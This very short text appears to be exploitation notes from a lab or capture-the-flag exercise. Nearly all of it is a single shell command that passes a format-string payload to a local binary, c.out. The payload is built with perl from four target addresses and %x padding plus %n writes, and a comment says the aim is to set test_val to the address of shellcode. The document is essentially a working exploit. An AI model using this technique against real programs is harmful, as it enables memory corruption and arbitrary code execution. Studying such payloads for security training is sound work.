./c.out `perl -e 'print "\x0c\x97\x04\x08\x0d\x97\x04\x08\x0e\x97\x04\x08\x0f\x97\x04\x08"'`%7\$188x.%10\$n%9\$262x%11\$n%9\$13x%12\$n%9\$223x%13\$n

	make test_val = address of shellcode